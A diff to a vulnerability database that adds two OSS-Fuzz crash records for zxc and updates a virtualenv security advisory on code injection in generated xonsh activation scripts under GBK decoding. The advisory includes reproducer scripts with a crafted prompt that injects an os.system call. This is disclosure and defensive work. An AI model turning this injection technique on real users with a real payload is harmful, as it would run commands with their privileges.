diff --git a/data/OSS-Fuzz/OSV-2026-1575.json b/data/OSS-Fuzz/OSV-2026-1575.json new file mode 100644 index 0000000000..bee67522c7 --- /dev/null +++ b/data/OSS-Fuzz/OSV-2026-1575.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"OSV-2026-1575","published":"2026-11-17T00:06:55.532244Z","modified":"2026-11-18T12:30:04.234647760Z","summary":"Use-of-uninitialized-value in zxc_decompress_chunk_wrapper_avx2","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=586219918\n\n```\nCrash type: Use-of-uninitialized-value\nCrash state:\nzxc_decompress_chunk_wrapper_avx2\nfuzz_variants.c\n```\n","affected":[{"package":{"name":"zxc","ecosystem":"OSS-Fuzz","purl":"pkg:generic/zxc"},"ranges":[{"type":"GIT","repo":"https://github.com/hellobertrand/zxc.git","events":[{"introduced":"9e3d2b38e9c0cf5dfc5132d0b5a2746a430e2984"},{"fixed":"1ec7c82e2eb8ba9b02f19a12d68766fabf044d84"}]}],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"introduced_range":"20c91b11d7e9d6c96c555413f0904eed9836fdb2:f6daadf0d0682d68a441a1c28d230c5987ac9f09","source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/zxc/OSV-2026-1575.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=586219918"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2026-1576.json b/data/OSS-Fuzz/OSV-2026-1576.json new file mode 100644 index 0000000000..66f966f90d --- /dev/null +++ b/data/OSS-Fuzz/OSV-2026-1576.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"OSV-2026-1576","published":"2026-11-17T00:11:21.095888Z","modified":"2026-11-18T12:30:04.234465748Z","summary":"Use-of-uninitialized-value in fuzz_variants.c","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=586237601\n\n```\nCrash type: Use-of-uninitialized-value\nCrash state:\nfuzz_variants.c\n```\n","affected":[{"package":{"name":"zxc","ecosystem":"OSS-Fuzz","purl":"pkg:generic/zxc"},"ranges":[{"type":"GIT","repo":"https://github.com/hellobertrand/zxc.git","events":[{"introduced":"9e3d2b38e9c0cf5dfc5132d0b5a2746a430e2984"},{"fixed":"1ec7c82e2eb8ba9b02f19a12d68766fabf044d84"}]}],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"introduced_range":"20c91b11d7e9d6c96c555413f0904eed9836fdb2:f6daadf0d0682d68a441a1c28d230c5987ac9f09","source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/zxc/OSV-2026-1576.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=586237601"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-394h-qwmc-48pf.json b/data/PyPI/GHSA-394h-qwmc-48pf.json index e99bcbb48c..12636a590f 100644 --- a/data/PyPI/GHSA-394h-qwmc-48pf.json +++ b/data/PyPI/GHSA-394h-qwmc-48pf.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-394h-qwmc-48pf","published":"2026-10-23T22:24:43Z","modified":"2026-10-29T10:55:57.228294866Z","aliases":["BIT-virtualenv-2026-113718","CVE-2026-113718"],"summary":"virtualenv: Xonsh activation literals depend on the script decoding codec","details":"## Summary\n\nCaller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment.\n\n## Affected area\n\nXonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can\nchange how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure\nthrough unrelated activators.\n\n## Attacker-controlled input\n\nThe attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated\nactivation script.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),\n[UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).\n\n## Mechanism\n\nThe generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters\nin the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK\nor Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character.\nThe backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal\nand supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.\n\n## Reproduction and evidence\n\nThe original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile\nprompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path`\ncontrols did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.\n[PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to\n`ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,\ndecodes it as GBK, and checks that `ast.literal_eval` returns the original prompt.\n\nThe attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of\nthe generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is\nattributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prompt supplier\n participant V as virtualenv quote()\n participant F as activate.xsh bytes\n participant X as xonsh source\n A->>V: 中 plus escaped quote and statements\n V->>F: repr writes UTF-8 中 followed by backslash\n alt XONSH_ENCODING is UTF-8\n F->>X: backslash remains an escape\n X-->>A: prompt remains data\n else XONSH_ENCODING is GBK or Big5\n F->>X: decoder consumes backslash as trail byte\n X->>X: quote closes and statements run\n end\n Note over V,X: ascii() emits only ASCII bytes and preserves the literal\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom shutil import rmtree\n\nwork = Path(\"/tmp/activate-this-gbk\")\nrmtree(work, ignore_errors=True)\nwork.mkdir()\nenv_dir = work / \"venv\"\nmarker = work / \"MARKER\"\n\n# set up: a zh_CN.GBK locale, which the image does not ship\nsubprocess.run([sys.executable, \"/tmp/repro.d/install_gbk_locale.py\", work / \"locales\"], check=True)\nutf8_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"C.UTF-8\"}\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": str(work / \"locales\")}\n\n# attacker: text that a tool relays as --prompt\n# the payload's \" makes repr() delimit with ' and write the prompt's own ' as \\'\n# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next\npayload = f'__import__(\"os\").system(\"touch {marker}\")'\nhostile_prompt = \"中\" + \"';\" + payload + \"#\"\n\n# user: creates the environment with the virtualenv command\nsubprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--prompt\", hostile_prompt, env_dir], check=True)\nactivate_this = (env_dir / \"bin\" / \"activate_this.py\").read_bytes()\nprompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ[\"VIRTUAL_ENV_PROMPT\"]'))\nprint(f\"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}\")\nprint(f\"activate_this.py read as GBK: {prompt_line.decode('gbk')}\")\nassert not marker.exists(), \"payload ran at creation time\"\n\n# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one\nactivate = [sys.executable, \"/tmp/repro.d/activate_with_exec_open.py\", env_dir]\ncontrol = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding=\"utf-8\", check=True)\nran_in_utf8_session = marker.exists()\nprint(f\"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}\")\n\nobserved = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding=\"gbk\", check=True)\nran_in_gbk_session = marker.exists()\nprint(f\"OBSERVED GBK session: {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}\")\n\n# check: the prompt is data and must not run in either session\nprint(\"BUG\" if ran_in_gbk_session and not ran_in_utf8_session else \"OK\")\n```\n\n**`repro.d/activate_with_exec_open.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: activate_with_exec_open.py ENV_DIR\n# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.\nimport locale\nimport os\nimport sys\n\nthis_file = os.path.join(sys.argv[1], \"bin\", \"activate_this.py\")\nexec(open(this_file).read(), {\"__file__\": this_file})\n\nprint(f\"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}\")\n```\n\n**`repro.d/install_gbk_locale.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: install_gbk_locale.py LOCPATH\n# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.\nimport os\nimport subprocess\nimport sys\n\nlocpath = sys.argv[1]\nos.makedirs(locpath)\n\ncharmap = [\" GBK\", \" %\", \" /\", \" 1\", \" 2\", \"CHARMAP\"]\ncharmap += [f\" /x{byte:02x}\" for byte in range(0x80)]\nfor lead in range(0x81, 0xFF):\n for trail in range(0x40, 0xFF):\n try:\n char = bytes([lead, trail]).decode(\"gbk\")\n except UnicodeDecodeError:\n continue\n charmap.append(f\" /x{lead:02x}/x{trail:02x}\")\ncharmap.append(\"END CHARMAP\")\nwith open(f\"{locpath}/GBK.charmap\", \"w\") as charmap_file:\n charmap_file.write(\"\\n\".join(charmap) + \"\\n\")\n\n# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below\nsource = \"/tmp/repro.d/zh_CN_minimal.locale\"\nsubprocess.run([\"localedef\", \"-c\", \"-f\", f\"{locpath}/GBK.charmap\", \"-i\", source, f\"{locpath}/zh_CN.GBK\"], capture_output=True)\n\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": locpath}\ncodeset = subprocess.run([\"locale\", \"charmap\"], env=gbk_session, capture_output=True, text=True, check=True)\nif codeset.stdout.strip() != \"GBK\" or codeset.stderr:\n sys.exit(f\"zh_CN.GBK locale not usable: {codeset}\")\n```\n\n**`repro.d/zh_CN_minimal.locale`**\n\n```text\ncomment_char %\nescape_char /\n% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which\n% comes from the charmap given to localedef with -f.\nLC_CTYPE\nupper ..\nlower ..\ndigit ..\nspace ..;\ncntrl ..;\npunct ..;..;..;..\nxdigit ..;..;..\nblank ;\nEND LC_CTYPE\nLC_COLLATE\norder_start forward\nUNDEFINED\norder_end\nEND LC_COLLATE\n```\n\n## Impact\n\nAn affected activation can execute commands with the user's privileges. Severity is high, following the generated-script\nprecedent in [GHSA-p58f-9548-mpm2](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The\nattack requires control of argument data and subsequent user activation; it does not require replacing an executable or\ncontrolling app-data contents.\n\n## Versions tested\n\nThe supplied follow-up review marks command execution as independently confirmed by its author. The implementation\nreview used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation\nsource is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation\nof the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.\n\n## Known mitigation\n\nUse trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases.\nRecreate environments with virtualenv 21.14.9 or later.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nThe original report was supplied by Anthropic's OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided\nreview identified the remaining activation path.\n\n## Additional fix branch\n\n[PR #3411](https://github.com/pypa/virtualenv/pull/3411) also uses ASCII-only literals for paths and prompts, alongside\nits activation-state changes. Both branches must retain this quoting rule when integrated.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-394h-qwmc-48pf/GHSA-394h-qwmc-48pf.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-394h-qwmc-48pf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113718"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3432"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/e5fc2e6e189a877ff559af288919e3525d13e5e0"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-94"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:24:43Z","nvd_published_at":"2026-10-20T20:17:18Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-394h-qwmc-48pf","published":"2026-10-23T22:24:43Z","modified":"2026-11-18T12:11:02.144706067Z","aliases":["BIT-virtualenv-2026-113718","CVE-2026-113718","PYSEC-2026-4377"],"summary":"virtualenv: Xonsh activation literals depend on the script decoding codec","details":"## Summary\n\nCaller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment.\n\n## Affected area\n\nXonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can\nchange how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure\nthrough unrelated activators.\n\n## Attacker-controlled input\n\nThe attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated\nactivation script.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),\n[UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).\n\n## Mechanism\n\nThe generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters\nin the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK\nor Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character.\nThe backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal\nand supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.\n\n## Reproduction and evidence\n\nThe original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile\nprompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path`\ncontrols did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.\n[PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to\n`ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,\ndecodes it as GBK, and checks that `ast.literal_eval` returns the original prompt.\n\nThe attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of\nthe generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is\nattributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prompt supplier\n participant V as virtualenv quote()\n participant F as activate.xsh bytes\n participant X as xonsh source\n A->>V: 中 plus escaped quote and statements\n V->>F: repr writes UTF-8 中 followed by backslash\n alt XONSH_ENCODING is UTF-8\n F->>X: backslash remains an escape\n X-->>A: prompt remains data\n else XONSH_ENCODING is GBK or Big5\n F->>X: decoder consumes backslash as trail byte\n X->>X: quote closes and statements run\n end\n Note over V,X: ascii() emits only ASCII bytes and preserves the literal\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom shutil import rmtree\n\nwork = Path(\"/tmp/activate-this-gbk\")\nrmtree(work, ignore_errors=True)\nwork.mkdir()\nenv_dir = work / \"venv\"\nmarker = work / \"MARKER\"\n\n# set up: a zh_CN.GBK locale, which the image does not ship\nsubprocess.run([sys.executable, \"/tmp/repro.d/install_gbk_locale.py\", work / \"locales\"], check=True)\nutf8_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"C.UTF-8\"}\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": str(work / \"locales\")}\n\n# attacker: text that a tool relays as --prompt\n# the payload's \" makes repr() delimit with ' and write the prompt's own ' as \\'\n# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next\npayload = f'__import__(\"os\").system(\"touch {marker}\")'\nhostile_prompt = \"中\" + \"';\" + payload + \"#\"\n\n# user: creates the environment with the virtualenv command\nsubprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--prompt\", hostile_prompt, env_dir], check=True)\nactivate_this = (env_dir / \"bin\" / \"activate_this.py\").read_bytes()\nprompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ[\"VIRTUAL_ENV_PROMPT\"]'))\nprint(f\"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}\")\nprint(f\"activate_this.py read as GBK: {prompt_line.decode('gbk')}\")\nassert not marker.exists(), \"payload ran at creation time\"\n\n# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one\nactivate = [sys.executable, \"/tmp/repro.d/activate_with_exec_open.py\", env_dir]\ncontrol = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding=\"utf-8\", check=True)\nran_in_utf8_session = marker.exists()\nprint(f\"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}\")\n\nobserved = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding=\"gbk\", check=True)\nran_in_gbk_session = marker.exists()\nprint(f\"OBSERVED GBK session: {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}\")\n\n# check: the prompt is data and must not run in either session\nprint(\"BUG\" if ran_in_gbk_session and not ran_in_utf8_session else \"OK\")\n```\n\n**`repro.d/activate_with_exec_open.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: activate_with_exec_open.py ENV_DIR\n# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.\nimport locale\nimport os\nimport sys\n\nthis_file = os.path.join(sys.argv[1], \"bin\", \"activate_this.py\")\nexec(open(this_file).read(), {\"__file__\": this_file})\n\nprint(f\"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}\")\n```\n\n**`repro.d/install_gbk_locale.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: install_gbk_locale.py LOCPATH\n# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.\nimport os\nimport subprocess\nimport sys\n\nlocpath = sys.argv[1]\nos.makedirs(locpath)\n\ncharmap = [\" GBK\", \" %\", \" /\", \" 1\", \" 2\", \"CHARMAP\"]\ncharmap += [f\" /x{byte:02x}\" for byte in range(0x80)]\nfor lead in range(0x81, 0xFF):\n for trail in range(0x40, 0xFF):\n try:\n char = bytes([lead, trail]).decode(\"gbk\")\n except UnicodeDecodeError:\n continue\n charmap.append(f\" /x{lead:02x}/x{trail:02x}\")\ncharmap.append(\"END CHARMAP\")\nwith open(f\"{locpath}/GBK.charmap\", \"w\") as charmap_file:\n charmap_file.write(\"\\n\".join(charmap) + \"\\n\")\n\n# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below\nsource = \"/tmp/repro.d/zh_CN_minimal.locale\"\nsubprocess.run([\"localedef\", \"-c\", \"-f\", f\"{locpath}/GBK.charmap\", \"-i\", source, f\"{locpath}/zh_CN.GBK\"], capture_output=True)\n\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": locpath}\ncodeset = subprocess.run([\"locale\", \"charmap\"], env=gbk_session, capture_output=True, text=True, check=True)\nif codeset.stdout.strip() != \"GBK\" or codeset.stderr:\n sys.exit(f\"zh_CN.GBK locale not usable: {codeset}\")\n```\n\n**`repro.d/zh_CN_minimal.locale`**\n\n```text\ncomment_char %\nescape_char /\n% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which\n% comes from the charmap given to localedef with -f.\nLC_CTYPE\nupper ..\nlower ..\ndigit ..\nspace ..;\ncntrl ..;\npunct ..;..;..;..\nxdigit ..;..;..\nblank ;\nEND LC_CTYPE\nLC_COLLATE\norder_start forward\nUNDEFINED\norder_end\nEND LC_COLLATE\n```\n\n## Impact\n\nAn affected activation can execute commands with the user's privileges. Severity is high, following the generated-script\nprecedent in [GHSA-p58f-9548-mpm2](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The\nattack requires control of argument data and subsequent user activation; it does not require replacing an executable or\ncontrolling app-data contents.\n\n## Versions tested\n\nThe supplied follow-up review marks command execution as independently confirmed by its author. The implementation\nreview used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation\nsource is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation\nof the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.\n\n## Known mitigation\n\nUse trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases.\nRecreate environments with virtualenv 21.14.9 or later.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nThe original report was supplied by Anthropic's OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided\nreview identified the remaining activation path.\n\n## Additional fix branch\n\n[PR #3411](https://github.com/pypa/virtualenv/pull/3411) also uses ASCII-only literals for paths and prompts, alongside\nits activation-state changes. Both branches must retain this quoting rule when integrated.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0